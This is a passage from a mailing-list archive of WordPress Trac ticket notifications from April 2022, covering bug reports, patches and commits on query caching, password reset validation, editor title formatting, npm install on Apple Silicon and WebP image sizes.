workflow in enough circumstances that WP ought to support it. Particularly in the case of client work and/or dynamic blocks. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54647#comment:13> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 01:43:34 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 01:43:34 -0000 Subject: [wp-trac] [WordPress Trac] #49763: Twenty Twelve: Add gradient background options that fit the theme color scheme In-Reply-To: <055.da539760767d37e0c335c87157fdbecc@wordpress.org> References: <055.da539760767d37e0c335c87157fdbecc@wordpress.org> Message-ID: <070.31d4c571ef0e37b3fcacf36941f3475a@wordpress.org> #49763: Twenty Twelve: Add gradient background options that fit the theme color scheme --------------------------------------+----------------------------- Reporter: ianbelanger | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Future Release Component: Bundled Theme | Version: Severity: normal | Resolution: Keywords: good-first-bug has-patch | Focuses: ui --------------------------------------+----------------------------- Changes (by alansyue): * Attachment "0001-feat-add-gradient-background-options-that-fit-the- th.patch" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/49763> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 01:44:28 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 01:44:28 -0000 Subject: [wp-trac] [WordPress Trac] #49763: Twenty Twelve: Add gradient background options that fit the theme color scheme In-Reply-To: <055.da539760767d37e0c335c87157fdbecc@wordpress.org> References: <055.da539760767d37e0c335c87157fdbecc@wordpress.org> Message-ID: <070.7207a7a71690ccf4c3854f67a8555541@wordpress.org> #49763: Twenty Twelve: Add gradient background options that fit the theme color scheme --------------------------------------+----------------------------- Reporter: ianbelanger | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Future Release Component: Bundled Theme | Version: Severity: normal | Resolution: Keywords: good-first-bug has-patch | Focuses: ui --------------------------------------+----------------------------- Changes (by alansyue): * Attachment "buttons.png" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/49763> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 01:46:00 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 01:46:00 -0000 Subject: [wp-trac] [WordPress Trac] #49763: Twenty Twelve: Add gradient background options that fit the theme color scheme In-Reply-To: <055.da539760767d37e0c335c87157fdbecc@wordpress.org> References: <055.da539760767d37e0c335c87157fdbecc@wordpress.org> Message-ID: <070.71c8650ee6d522d6cf64a9f103897b0a@wordpress.org> #49763: Twenty Twelve: Add gradient background options that fit the theme color scheme --------------------------------------+----------------------------- Reporter: ianbelanger | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Future Release Component: Bundled Theme | Version: Severity: normal | Resolution: Keywords: good-first-bug has-patch | Focuses: ui --------------------------------------+----------------------------- Comment (by alansyue): I figured out this requirement through the relative ticket, the picture above is an example of the result. I think we can discuss the gradient color more, thanks :) -- Ticket URL: <https://core.trac.wordpress.org/ticket/49763#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 01:54:14 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 01:54:14 -0000 Subject: [wp-trac] [WordPress Trac] #36904: Add caching to comment feed in WP_Query In-Reply-To: <056.a7220e02c040e8d844716ba5ba128229@wordpress.org> References: <056.a7220e02c040e8d844716ba5ba128229@wordpress.org> Message-ID: <071.05429df415a5fbf52c97af2acf51509e@wordpress.org> #36904: Add caching to comment feed in WP_Query ---------------------------------------------+--------------------------- Reporter: spacedmonkey | Owner: spacedmonkey Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Query | Version: 2.2 Severity: normal | Resolution: fixed Keywords: has-patch has-unit-tests commit | Focuses: performance ---------------------------------------------+--------------------------- Changes (by peterwilsoncc): * status: assigned => closed * resolution: => fixed Comment: In [changeset:"53065" 53065]: {{{ #!CommitTicketReference repository="" revision="53065" Query: Cache comments feeds in `WP_Query`. Cache queries to the comments table in `WP_Query` for various comments feeds. Only comment IDs are stored for each feeds cache to avoid doubling up caching with each individual comment's cache. Props spacedmonkey, boonebgorges, pbearne. Fixes #36904. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/36904#comment:20> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 02:00:07 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 02:00:07 -0000 Subject: [wp-trac] [WordPress Trac] #36904: Add caching to comment feed in WP_Query In-Reply-To: <056.a7220e02c040e8d844716ba5ba128229@wordpress.org> References: <056.a7220e02c040e8d844716ba5ba128229@wordpress.org> Message-ID: <071.d4cc876c362aabf865d4126ca474b15f@wordpress.org> #36904: Add caching to comment feed in WP_Query ---------------------------------------------+--------------------------- Reporter: spacedmonkey | Owner: spacedmonkey Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Query | Version: 2.2 Severity: normal | Resolution: fixed Keywords: has-patch has-unit-tests commit | Focuses: performance ---------------------------------------------+--------------------------- Comment (by peterwilsoncc): In [changeset:"53066" 53066]: {{{ #!CommitTicketReference repository="" revision="53066" Query: Add tests following [53065]. Props spacedmonkey, boonebgorges, pbearne. See #36904. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/36904#comment:21> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 02:26:53 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 02:26:53 -0000 Subject: [wp-trac] [WordPress Trac] #46390: image_default_link_type is not seen by Gutenberg In-Reply-To: <057.9ea0b4f788434503bd7d83cb5ecae771@wordpress.org> References: <057.9ea0b4f788434503bd7d83cb5ecae771@wordpress.org> Message-ID: <072.a077c57b90d712f60441090126061c65@wordpress.org> #46390: image_default_link_type is not seen by Gutenberg ---------------------------+------------------------------ Reporter: brianjcameron | Owner: (none) Type: defect (bug) | Status: reopened Priority: normal | Milestone: Awaiting Review Component: Media | Version: 5.1.1 Severity: normal | Resolution: Keywords: needs-patch | Focuses: ---------------------------+------------------------------ Changes (by ddegner): * keywords: => needs-patch * version: 5.1 => 5.1.1 Comment: Bump, I would love to see this working again. It would save me so many clicks. -- Ticket URL: <https://core.trac.wordpress.org/ticket/46390#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 03:25:52 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 03:25:52 -0000 Subject: [wp-trac] [WordPress Trac] #35500: Login page: user can change password on " " but can't log in with new password. In-Reply-To: <054.cf9e3d0204e900fc1a0039fd96a81b85@wordpress.org> References: <054.cf9e3d0204e900fc1a0039fd96a81b85@wordpress.org> Message-ID: <069.01d7f3beb4f1a8424fa439381a20e7fc@wordpress.org> #35500: Login page: user can change password on " " but can't log in with new password. -------------------------------------+----------------------------- Reporter: antonrinas | Owner: hellofromTonya Type: defect (bug) | Status: closed Priority: lowest | Milestone: 6.0 Component: Login and Registration | Version: Severity: normal | Resolution: fixed Keywords: has-patch needs-testing | Focuses: -------------------------------------+----------------------------- Changes (by peterwilsoncc): * status: assigned => closed * resolution: => fixed Comment: In [changeset:"53067" 53067]: {{{ #!CommitTicketReference repository="" revision="53067" Login, Registration: Prevent password reset to whitespace alone. Prevent users from using the password reset form to set their password to whitespace alone (tabs, spaces). This matches the processing used during the authentication flow, ensuring users do not inadvertently get locked out of their account. Props antonrinas, swissspidy, voldemortensen, hellofromTonya, henry.wright, costdev. Fixes #35500. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/35500#comment:13> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 03:30:09 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 03:30:09 -0000 Subject: [wp-trac] [WordPress Trac] #55527: <em></em> disappears from post titles when post (in 'editing' view) is refreshed + post titles lose italics formatting when changes made Message-ID: <052.64e784c7f3d1b19d67945891d814096c@wordpress.org> #55527: <em></em> disappears from post titles when post (in 'editing' view) is refreshed + post titles lose italics formatting when changes made --------------------------+----------------------------- Reporter: altfgcom | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: 5.9.2 Severity: normal | Keywords: Focuses: | --------------------------+----------------------------- Hello, There's a bug affecting post titles following WordPress' Josephine upgrade. We were hoping that someone else was going to report it, but it's been a couple of months and the issue is still there even after the most recent bug-fixing releases. This is what happens: Post Title: "<em>Gone with the Wind</em> won 10 Oscars" Once the post is saved AND refreshed (of course, on the editor's side), the "markers" <em></em> disappear from view. The title now reads: "Gone with the Wind won 10 Oscars" The only way to verify GWTW is still in italics is to click on "view post," so we can see the live page. That's *not* how it was before Josephine, and obviously that's not how it should be. There's more: Again, once the post has been saved AND refreshed, the title reads: "Gone with the Wind won 10 Oscars" (The italicized GWTW can be seen only in the live post) Now, let's say we decide to change the post title to: "Gone with the Wind won 10 Oscars in 1939" Once we do that, the italics ALSO disappear from the live post even though we haven't made any changes to the words "Gone with the Wind." In order to restore the italics, we have to re-enter <em></em> around "Gone with the Wind." And once again, after the post is saved/refreshed, the markers <em></em> disappear *again* from the editor's view. (Though GWTW remains italicized on the live post.) That shouldn't happen. Could you please fix this double issue? <em></em> should always be visible at our end. And the italics format should never disappear from the title (on the live post) just because we edited it. We're using the latest version of WordPress. The issue continued after we deactivated all plugins and used the WP theme. Your assistance would be much appreciated. If you need any further explanations/clarifications, please contact us at editor at altfg.com. Thank you. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55527> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 04:00:38 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 04:00:38 -0000 Subject: [wp-trac] [WordPress Trac] #38741: Introduce the concept of a large site in order to speed up the Users screen when there are many users In-Reply-To: <055.97ac093a8b92617e1098c75543bb32e3@wordpress.org> References: <055.97ac093a8b92617e1098c75543bb32e3@wordpress.org> Message-ID: <070.2bfd59c393e01fa4d7e4877232241d25@wordpress.org> #38741: Introduce the concept of a large site in order to speed up the Users screen when there are many users -------------------------+------------------------------------------------- Reporter: johnbillion | Owner: spacedmonkey Type: enhancement | Status: reopened Priority: normal | Milestone: 6.0 Component: Users | Version: Severity: normal | Resolution: Keywords: needs-patch | Focuses: administration, multisite, | performance -------------------------+------------------------------------------------- Changes (by peterwilsoncc): * Attachment "38741.12.diff" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/38741> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 04:07:12 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 04:07:12 -0000 Subject: [wp-trac] [WordPress Trac] #38741: Introduce the concept of a large site in order to speed up the Users screen when there are many users In-Reply-To: <055.97ac093a8b92617e1098c75543bb32e3@wordpress.org> References: <055.97ac093a8b92617e1098c75543bb32e3@wordpress.org> Message-ID: <070.b200103ba2a033f7cf83042bbf274f02@wordpress.org> #38741: Introduce the concept of a large site in order to speed up the Users screen when there are many users -------------------------+------------------------------------------------- Reporter: johnbillion | Owner: spacedmonkey Type: enhancement | Status: reopened Priority: normal | Milestone: 6.0 Component: Users | Version: Severity: normal | Resolution: Keywords: needs-patch | Focuses: administration, multisite, | performance -------------------------+------------------------------------------------- Comment (by peterwilsoncc): In [attachment:"38741.12.diff"] I've followed @georgestephanis's suggestion of a hidden field. As `inline-edit-post.js` is hard coded to expect a `<select/>` for the author input, I've added the element with a `display:none !important`. With an input tag, the javascript was setting up the code `<input type='hidden' ...><option /></input>`. This seems more sub-optimal than a hiding the select via CSS. -- Ticket URL: <https://core.trac.wordpress.org/ticket/38741#comment:98> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 04:16:51 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 04:16:51 -0000 Subject: [wp-trac] [WordPress Trac] #35500: Login page: user can change password on " " but can't log in with new password. In-Reply-To: <054.cf9e3d0204e900fc1a0039fd96a81b85@wordpress.org> References: <054.cf9e3d0204e900fc1a0039fd96a81b85@wordpress.org> Message-ID: <069.b794334d743c3e89301fe3039dda75a0@wordpress.org> #35500: Login page: user can change password on " " but can't log in with new password. -------------------------------------+----------------------------- Reporter: antonrinas | Owner: hellofromTonya Type: defect (bug) | Status: closed Priority: lowest | Milestone: 6.0 Component: Login and Registration | Version: Severity: normal | Resolution: fixed Keywords: has-patch needs-testing | Focuses: -------------------------------------+----------------------------- Comment (by peterwilsoncc): In [changeset:"53068" 53068]: {{{ #!CommitTicketReference repository="" revision="53068" Login, Registration: Fix coding standards errors in [53067]. See #35500. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/35500#comment:14> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 04:49:59 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 04:49:59 -0000 Subject: [wp-trac] [WordPress Trac] #55422: Add a .git-blame-ignore-revs file In-Reply-To: <049.d28988312d1c7e977a5c81ef78ff2402@wordpress.org> References: <049.d28988312d1c7e977a5c81ef78ff2402@wordpress.org> Message-ID: <064.ae126d68e3c6ac987517ecba1750f09e@wordpress.org> #55422: Add a .git-blame-ignore-revs file ------------------------------+----------------------- Reporter: helen | Owner: helen Type: enhancement | Status: assigned Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: Severity: minor | Resolution: Keywords: has-patch | Focuses: ------------------------------+----------------------- Changes (by peterwilsoncc): * component: General => Build/Test Tools -- Ticket URL: <https://core.trac.wordpress.org/ticket/55422#comment:18> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 05:43:50 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 05:43:50 -0000 Subject: [wp-trac] [WordPress Trac] #55370: Enable aria-controls and aria-expanded in content In-Reply-To: <051.dc03991af641b6ff50232695165f265e@wordpress.org> References: <051.dc03991af641b6ff50232695165f265e@wordpress.org> Message-ID: <066.3e1a6deee75e15efab6f43bb95b8dbc1@wordpress.org> #55370: Enable aria-controls and aria-expanded in content --------------------------------------+------------------------------ Reporter: crs1138 | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Formatting | Version: Severity: normal | Resolution: Keywords: good-first-bug has-patch | Focuses: accessibility --------------------------------------+------------------------------ Changes (by peterwilsoncc): * version: 5.8.3 => * milestone: 6.0 => Awaiting Review Comment: On #30421 there is quite a discussion about whether or not there are any security implications adding the `aria-*` attributes globally. The conversation was never resolved one way or the other as it was decided to support a sub-set of attributes initially. I'm going to move this ticket back in to review to allow time for the discussion to happen about these attributes. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55370#comment:11> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 06:01:21 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 06:01:21 -0000 Subject: [wp-trac] [WordPress Trac] #54788: Mute a video on WP with [video] In-Reply-To: <051.bcfc6485b683c99e8d296f73cf338728@wordpress.org> References: <051.bcfc6485b683c99e8d296f73cf338728@wordpress.org> Message-ID: <066.bf0b0ef703ec5d3f285b28a3803ed53c@wordpress.org> #54788: Mute a video on WP with [video] -------------------------+----------------------- Reporter: prokium | Owner: antpb Type: enhancement | Status: assigned Priority: normal | Milestone: 6.0 Component: Media | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: -------------------------+----------------------- Comment (by peterwilsoncc): Replying to [comment:5 antpb]: > If the startVolume is set at zero this will essentially achieve the same result as mute with more options for folks that may just want some very quiet audio on a page. While `muted` and `startVolume=0` have the same practical outcome, do they have the same technical outcome? Specifically, I thinking about situations in which browsers disable auto play for all but muted videos. Do the browsers treat a volume of zero as equivalent? -- Ticket URL: <https://core.trac.wordpress.org/ticket/54788#comment:10> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 08:15:02 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 08:15:02 -0000 Subject: [wp-trac] [WordPress Trac] #55238: Post lock data inconsistencies In-Reply-To: <052.612c9286f2881057ef1f1f023e1f7368@wordpress.org> References: <052.612c9286f2881057ef1f1f023e1f7368@wordpress.org> Message-ID: <067.7fa8c0ccef4e82938c2d2f11a8a24c9a@wordpress.org> #55238: Post lock data inconsistencies --------------------------+--------------------- Reporter: Mamaduka | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Editor | Version: 5.0 Severity: normal | Resolution: Keywords: has-patch | Focuses: --------------------------+--------------------- Changes (by gziolo): * milestone: Awaiting Review => 6.0 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55238#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 08:44:31 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 08:44:31 -0000 Subject: [wp-trac] [WordPress Trac] #52690: `npm install` aborts on Apple Silicon due to Puppeteer not finding appropriate chromium binary In-Reply-To: <051.f465b7599f78caf360ad24df241c503e@wordpress.org> References: <051.f465b7599f78caf360ad24df241c503e@wordpress.org> Message-ID: <066.ac9929d38151adae4c5f052fdc861535@wordpress.org> #52690: `npm install` aborts on Apple Silicon due to Puppeteer not finding appropriate chromium binary ------------------------------+------------------------------ Reporter: afragen | Owner: gziolo Type: defect (bug) | Status: closed Priority: normal | Milestone: Awaiting Review Component: Build/Test Tools | Version: Severity: normal | Resolution: fixed Keywords: has-patch | Focuses: ------------------------------+------------------------------ Changes (by gziolo): * owner: (none) => gziolo * status: new => closed * resolution: => fixed Comment: In [changeset:"53069" 53069]: {{{ #!CommitTicketReference repository="" revision="53069" Build: Fix `npm install` on Apple Silicon Fixes the issue where `npm install` aborts on Apple Silicon due to Puppeteer not finding appropriate chromium binary. It works correctly with the latest versio of `grunt-contrib-qunit` package. Props afragen, jorbin, SergeyBiryukov. Fixes #52690. Related #52356. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/52690#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 08:44:55 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 08:44:55 -0000 Subject: [wp-trac] =?utf-8?q?=5BWordPress_Trac=5D_=2355526=3A_WordPress_5?= =?utf-8?b?LjkuMiBpeWkgZGV5aWwgeWF2YcWf?= In-Reply-To: <054.49cd0950aae678419c60f05827335a5e@wordpress.org> References: <054.49cd0950aae678419c60f05827335a5e@wordpress.org> Message-ID: <069.af9237cae754ace3ce27517c3755d03a@wordpress.org> #55526: WordPress 5.9.2 iyi deyil yavaş --------------------------+------------------------------ Reporter: bakiyisite | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Awaiting Review Component: General | Version: Severity: normal | Resolution: invalid Keywords: close | Focuses: --------------------------+------------------------------ Changes (by kebbet): * keywords: => close * status: new => closed * resolution: => invalid Comment: Hi @bakiyisite, welcome back to Trac! Sorry to hear that you're having trouble with your website. Trac is for the development of WordPress Core rather than providing WordPress support. You can get some help from the folks over on the [https://wordpress.org/support/forums/ support forums]. Best of luck! -- Ticket URL: <https://core.trac.wordpress.org/ticket/55526#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 08:46:50 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 08:46:50 -0000 Subject: [wp-trac] [WordPress Trac] #52356: npm install does not work on wordpress-trunk on new Mac M1's In-Reply-To: <056.8ff11d30f185d29b5edcf30954ab9e5f@wordpress.org> References: <056.8ff11d30f185d29b5edcf30954ab9e5f@wordpress.org> Message-ID: <071.90ed2a5bfe8387f7af8e0259d1d12ba3@wordpress.org> #52356: npm install does not work on wordpress-trunk on new Mac M1's -------------------------------+------------------------------ Reporter: justinahinon | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Build/Test Tools | Version: 5.7 Severity: normal | Resolution: Keywords: reporter-feedback | Focuses: -------------------------------+------------------------------ Comment (by gziolo): The issue with `npm install` got fixed with [53069]. There is the remaining issue with running `npm run env` because of some issues with MySQL. -- Ticket URL: <https://core.trac.wordpress.org/ticket/52356#comment:9> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 08:46:57 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 08:46:57 -0000 Subject: [wp-trac] [WordPress Trac] #52690: `npm install` aborts on Apple Silicon due to Puppeteer not finding appropriate chromium binary In-Reply-To: <051.f465b7599f78caf360ad24df241c503e@wordpress.org> References: <051.f465b7599f78caf360ad24df241c503e@wordpress.org> Message-ID: <066.7d6dfbb870e91058bc150854d4cacbba@wordpress.org> #52690: `npm install` aborts on Apple Silicon due to Puppeteer not finding appropriate chromium binary ------------------------------+--------------------- Reporter: afragen | Owner: gziolo Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: Severity: normal | Resolution: fixed Keywords: has-patch | Focuses: ------------------------------+--------------------- Changes (by gziolo): * milestone: Awaiting Review => 6.0 -- Ticket URL: <https://core.trac.wordpress.org/ticket/52690#comment:8> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 08:49:22 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 08:49:22 -0000 Subject: [wp-trac] [WordPress Trac] #55443: Create WebP sub-sizes and use for output In-Reply-To: <059.ca56f5c85c01a14ae68fdc38f60b9c06@wordpress.org> References: <059.ca56f5c85c01a14ae68fdc38f60b9c06@wordpress.org> Message-ID: <074.57395ab83493fe07d18baaed4d2aa144@wordpress.org> #55443: Create WebP sub-sizes and use for output -------------------------------------------------+------------------------- Reporter: adamsilverstein | Owner: | adamsilverstein Type: enhancement | Status: assigned Priority: normal | Milestone: 6.0 Component: Media | Version: trunk Severity: normal | Resolution: Keywords: has-patch has-unit-tests needs- | Focuses: testing needs-dev-note needs-docs needs-codex | performance -------------------------------------------------+------------------------- Comment (by markhowellsmead): https://www.dropbox.com/s/enndvyze8rzhgsy/20220328-DSCF1424.jpg?dl=0 at 757kb versus https://www.dropbox.com/s/enndvyze8rzhgsy/20220328-DSCF1424.webp?dl=0 at 1.2mb Converted on the local command line and via SSH on the server using ImageMagick: {{{ mogrify -format webp -quality 82 "$DIR/*.jpg" }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55443#comment:18> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 08:55:20 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 08:55:20 -0000 Subject: [wp-trac] [WordPress Trac] #52356: npm install does not work on wordpress-trunk on new Mac M1's In-Reply-To: <056.8ff11d30f185d29b5edcf30954ab9e5f@wordpress.org> References: <056.8ff11d30f185d29b5edcf30954ab9e5f@wordpress.org> Message-ID: <071.b505320254eefd1fd77934c83d0449a3@wordpress.org> #52356: npm install does not work on wordpress-trunk on new Mac M1's -------------------------------+------------------------------ Reporter: justinahinon | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Build/Test Tools | Version: 5.7 Severity: normal | Resolution: Keywords: reporter-feedback | Focuses: -------------------------------+------------------------------ Comment (by gziolo): For the issue with MySQL, I followed the following article: https://www.jesusamieiro.com/installing-wordpress-develop-on-m1-chip/ I executed `docker pull --platform linux/x86_64 mysql:5.7` which is probably similar to what @afragen shared but it doesn't require changes to the `docker-compose.yml` file. The other way to fix it is to change the database to MariaDB v10 as suggested by @youknowriad. -- Ticket URL: <https://core.trac.wordpress.org/ticket/52356#comment:10> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 09:01:51 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 09:01:51 -0000 Subject: [wp-trac] [WordPress Trac] #55473: Update the About page for 5.9.3 In-Reply-To: <052.f2a1e7431679cc70e1e24f308acd0086@wordpress.org> References: <052.f2a1e7431679cc70e1e24f308acd0086@wordpress.org> Message-ID: <067.2f4f3ca9dd2be0a91a5a785d63dd45c6@wordpress.org> #55473: Update the About page for 5.9.3 ----------------------------+----------------------- Reporter: audrasjb | Owner: audrasjb Type: task (blessed) | Status: assigned Priority: normal | Milestone: 5.9.3 Component: Help/About | Version: Severity: normal | Resolution: Keywords: | Focuses: ----------------------------+----------------------- Changes (by audrasjb): * Attachment "55473.diff" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55473> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 09:03:26 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 09:03:26 -0000 Subject: [wp-trac] [WordPress Trac] #55473: Update the About page for 5.9.3 In-Reply-To: <052.f2a1e7431679cc70e1e24f308acd0086@wordpress.org> References: <052.f2a1e7431679cc70e1e24f308acd0086@wordpress.org> Message-ID: <067.87b557c539e5f1275b7b2db6b8bb878a@wordpress.org> #55473: Update the About page for 5.9.3 ------------------------------------+----------------------- Reporter: audrasjb | Owner: audrasjb Type: task (blessed) | Status: assigned Priority: normal | Milestone: 5.9.3 Component: Help/About | Version: Severity: normal | Resolution: Keywords: has-patch dev-feedback | Focuses: ------------------------------------+----------------------- Changes (by audrasjb): * keywords: => has-patch dev-feedback Comment: Marking for a second committer sign off. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55473#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 09:20:14 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 09:20:14 -0000 Subject: [wp-trac] [WordPress Trac] #55238: Post lock data inconsistencies In-Reply-To: <052.612c9286f2881057ef1f1f023e1f7368@wordpress.org> References: <052.612c9286f2881057ef1f1f023e1f7368@wordpress.org> Message-ID: <067.2ce258d9fc0fcf47dcaf80052dded232@wordpress.org> #55238: Post lock data inconsistencies --------------------------+--------------------- Reporter: Mamaduka | Owner: gziolo Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Editor | Version: 5.0 Severity: normal | Resolution: fixed Keywords: has-patch | Focuses: --------------------------+--------------------- Changes (by gziolo): * owner: (none) => gziolo * status: new => closed * resolution: => fixed Comment: In [changeset:"53070" 53070]: {{{ #!CommitTicketReference repository="" revision="53070" Editor: Fix post lock data inconsistencies Backporting fixes introduced in WordPress/gutenberg#37914. Props Mamaduka. Fixes #55238. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55238#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 09:48:46 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 09:48:46 -0000 Subject: [wp-trac] [WordPress Trac] #55521: Use dashicons-class in `wp_dashboard_quota` and `wp_dashboard_right_now` In-Reply-To: <050.b495e5e8f363f605fe7d480cc88da243@wordpress.org> References: <050.b495e5e8f363f605fe7d480cc88da243@wordpress.org> Message-ID: <065.269788202a2b73a1389433c5d69ddeb1@wordpress.org> #55521: Use dashicons-class in `wp_dashboard_quota` and `wp_dashboard_right_now` ----------------------------+-------------------------------------- Reporter: kebbet | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Administration | Version: 3.8 Severity: normal | Resolution: Keywords: has-patch | Focuses: ui, css, administration ----------------------------+-------------------------------------- Changes (by kebbet): * keywords: needs-patch => has-patch -- Ticket URL: <https://core.trac.wordpress.org/ticket/55521#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 09:50:30 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 09:50:30 -0000 Subject: [wp-trac] [WordPress Trac] #55473: Update the About page for 5.9.3 In-Reply-To: <052.f2a1e7431679cc70e1e24f308acd0086@wordpress.org> References: <052.f2a1e7431679cc70e1e24f308acd0086@wordpress.org> Message-ID: <067.09f10e5a334bfcd84a0e639781f034bd@wordpress.org> #55473: Update the About page for 5.9.3 -------------------------------------------+----------------------- Reporter: audrasjb | Owner: audrasjb Type: task (blessed) | Status: assigned Priority: normal | Milestone: 5.9.3 Component: Help/About | Version: Severity: normal | Resolution: Keywords: has-patch dev-reviewed commit | Focuses: -------------------------------------------+----------------------- Changes (by SergeyBiryukov): * keywords: has-patch dev-feedback => has-patch dev-reviewed commit Comment: Looks good to me. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55473#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 5 09:50:28 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 05 Apr 2022 09:50:28 -0000 Subject: [wp-trac] [WordPress Trac] #55505: Update @wordpress packages and backport changes from Gutenberg plugin into Core In-Reply-To: <058.582086e8dab2e8797c9df68a699142c9@wordpress.org> References: <058.582086e8dab2e8797c9df68a699142c9@wordpress.org> Message-ID: 